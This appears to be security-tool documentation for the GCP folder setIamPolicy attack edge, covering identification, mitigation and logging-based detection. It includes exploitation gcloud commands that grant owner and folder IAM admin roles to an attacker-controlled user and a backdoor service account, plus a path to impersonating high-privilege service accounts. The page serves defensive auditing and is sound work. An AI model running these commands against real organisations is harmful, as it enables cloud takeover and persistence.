Skip to content

GCP_SET_FOLDER_IAMPOLICY

Copy page

Summary

Forestall ACL Alias GCP_SET_FOLDER_IAMPOLICY
GCP Alias IAM & Hierarchy Control
Affected Object Types Folders
Exploitation Certainty Certain
Granting Roles roles/owner, roles/resourcemanager.organizationAdmin, roles/resourcemanager.folderAdmin, roles/resourcemanager.folderIamAdmin, roles/iam.securityAdmin

Description

GCP_SET_FOLDER_IAMPOLICY indicates that an identity can call setIamPolicy on a GCP Folder. Folders are intermediate containers in the GCP resource hierarchy that sit between the Organization and Projects. A principal who can set IAM policy on a folder gains control over every project nested beneath that folder.

An attacker with this edge can grant themselves broad roles on the folder, which inherit down to all child projects and their resources. The blast radius depends on how many projects live under the targeted folder.

Key abuse scenarios:

  • Grant roles/owner to a controlled identity at folder scope, inheriting to all child projects.
  • Add a backdoor service account as roles/resourcemanager.folderAdmin for persistence.
  • Grant roles/iam.serviceAccountTokenCreator on service accounts scoped under the folder.

Identification

gcloud CLI

# List all folders in the organization
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud resource-manager folders list --organization=$ORG_ID --format="table(name, displayName)"
# Get IAM policy for a specific folder
FOLDER_ID="folders/123456789"
gcloud resource-manager folders get-iam-policy $FOLDER_ID --format=json | \
jq '.bindings[] | select(.role | test("owner|folderAdmin|folderIamAdmin|iam.securityAdmin|organizationAdmin")) | {role: .role, members: .members}'
# Check who can set IAM policy across all folders
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
for FOLDER in $(gcloud resource-manager folders list --organization=$ORG_ID --format="value(name)"); do
echo "=== $FOLDER ==="
gcloud resource-manager folders get-iam-policy $FOLDER \
--flatten="bindings[].members" \
--format="table(bindings.role,bindings.members)" \
--filter="bindings.role:(roles/owner OR roles/resourcemanager.folderAdmin OR roles/resourcemanager.folderIamAdmin)"
done

Exploitation

gcloud CLI

# Grant owner at folder scope (inherits to all child projects)
FOLDER_ID="folders/123456789"
gcloud resource-manager folders add-iam-policy-binding $FOLDER_ID \
--member="user:[email protected]" \
--role="roles/owner"
# Grant folder IAM admin to backdoor service account
gcloud resource-manager folders add-iam-policy-binding $FOLDER_ID \
--member="serviceAccount:[email protected]" \
--role="roles/resourcemanager.folderIamAdmin"

Compound path: Folder-level setIamPolicy → grant roles/iam.serviceAccountTokenCreator on all service accounts under the folder’s projects → impersonate high-privilege SAs.

Mitigation

  1. Limit folder IAM admin roles to dedicated admin accounts with MFA enforced.
  2. Use Privileged Access Manager for just-in-time elevation of folder-scoped roles.
  3. Apply constraints/iam.allowedPolicyMemberDomains at the org level to prevent granting access to external identities.
  4. Regularly audit folder IAM policies:
    gcloud resource-manager folders get-iam-policy $FOLDER_ID --format=json | \
    jq '.bindings[] | select(.role | test("Admin|owner"))'

Detection

Log Type Method Key Fields
Admin Activity SetIamPolicy resource.type=folder, methodName=SetIamPolicy
gcloud logging read \
'resource.type="folder" AND protoPayload.methodName="SetIamPolicy"' \
--organization=$ORG_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.folder_id)"

Alert on:

  • SetIamPolicy calls on folder resources.
  • New bindings adding roles/owner, roles/resourcemanager.folderAdmin, or roles/resourcemanager.folderIamAdmin.

References

Was this page helpful?

Thank you for your feedback.